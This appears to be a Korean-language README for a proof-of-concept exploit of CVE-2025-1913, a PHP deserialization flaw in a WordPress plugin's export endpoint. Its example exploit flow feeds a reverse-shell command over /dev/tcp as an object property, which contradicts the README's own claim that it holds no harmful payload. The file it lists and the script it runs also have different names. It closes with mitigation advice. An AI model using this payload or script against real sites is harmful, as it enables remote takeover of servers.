CVE-2025-1913 -- 개념 증명 (PoC)

이 저장소는 Suhaib518 🇸🇦 가 작성한 CVE-2025-1913에 대한 교육 전용 개념 증명(PoC)입니다. 이 PoC는 특별히 조작된 직렬화된 PHP 입력이 영향을 받는 WordPress 구성 요소에서 취약한 로직을 실행할 수 있는 방법을 보여줍니다. PoC는 안전하며 유해한 페이로드를 포함하지 않습니다.

⚠️ 면책 조항: 이 PoC는 학습, 연구 및 방어적 보안 테스트 전용입니다. 소유하지 않거나 명시적 테스트 권한이 없는 서버에서 사용하지 마십시오.

📌 개요

취약점은 특정 WordPress 플러그인 워크플로에서 PHP 직렬화 데이터의 안전하지 않은 처리로 인해 존재합니다. 이 PoC는 공격자가 의도하지 않은 내부 동작을 유발하는 조작된 직렬화 구조를 제공할 수 있는 방법을 보여줍니다. 이 저장소에는 다음을 수행하는 Python 스크립트가 포함되어 있습니다:

• 사용자 정의 직렬화된 PHP 객체 빌드
• WordPress AJAX 기반 내보내기 엔드포인트를 위해 인코딩
• 문제를 안전하게 시연하는 제어된 요청 전송

📂 저장소 파일

.
├── CVE-2025-1913-PoC.py         # The PoC script created by Suhaib518 KSA
└── README.md                    # Documentation

🚀 사용 방법

1. 요구 사항 설치

스크립트는 requests를 제외하고 내장된 Python 모듈만 사용합니다:

pip install requests

2. 대화형 익스플로잇 스크립트 실행

python3 exploit.py \
  -c "Class" \
  -H "https://target.com" \
  --wp-nonce "1234567890" \
  --cookie "wordpress_logged_in=YOUR_COOKIE_HERE"

다음 질문이 표시됩니다:

• 포함할 속성 수
• 각 속성의 이름/값

그런 다음 스크립트는 이를 직렬화하고 WordPress 요청을 구성하여 전송합니다.

✔️ 예제 명령 (성공적인 익스플로잇 흐름)

다음은 예시 값과 함께 사용법을 보여주는 예제 명령입니다(이들은 악의적이지 않으며 단지 과정을 보여줍니다):

python3 exploit.py   -c "WP_User_Query"   -H "https://example.com"   --wp-nonce "89f1a2b3c4"   --cookie "wordpress_logged_in_abc123=abcd1234efgh5678"

대화형 질문에 대한 예시 답변:

[?] 이 클래스는 몇 개의 속성을 가지고 있습니까? 2
[?] 속성 #1의 이름: file
[?] 'file'의 값: shell.sh
[?] 속성 #2의 이름: shell
[?] 'shell'의 값: sh -i >& /dev/tcp/IP/PORT 0>&1

그러면 스크립트가 출력합니다:

[*] Sending request…
....Check the listener for the shell.

🛡️ 완화 방법 (개괄)

• 신뢰할 수 없는 입력에 unserialize() 사용을 피하십시오
• 모든 양식 매개변수와 AJAX 요청을 검증하십시오
• 플러그인을 최신 상태로 유지하십시오
• PHP 직렬화 대신 JSON과 같은 현대적인 데이터 형식을 사용하십시오

📜 라이선스

MIT 라이선스.

🙌 저자

작성자: Suhaib518 🇸🇦.